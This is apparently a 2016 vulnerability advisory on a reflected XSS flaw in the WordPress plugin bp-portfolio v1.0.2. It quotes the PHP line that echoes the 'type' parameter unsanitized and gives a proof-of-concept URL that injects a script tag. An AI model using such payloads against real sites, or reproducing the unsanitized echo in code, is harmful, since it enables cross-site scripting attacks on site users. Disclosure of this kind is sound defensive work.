Advisory #: 391
Title: Reflected XSS in wordpress plugin bp-portfolio v1.0.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/bp-portfolio
Downloads: 334
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: bp-portfolio
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./bp-portfolio/includes/bpcp-file-dialog.php: 77: file.sendTo('<?php echo admin_url('admin-ajax.php'); ?>?action=upload_photos_attachment&type=<?php echo $_GET["type"]; ?>') The variable type appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./bp-portfolio/includes/bpcp-file-dialog.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/bp-portfolio/includes/bpcp-file-dialog.php?type="><script>alert(1);</script><"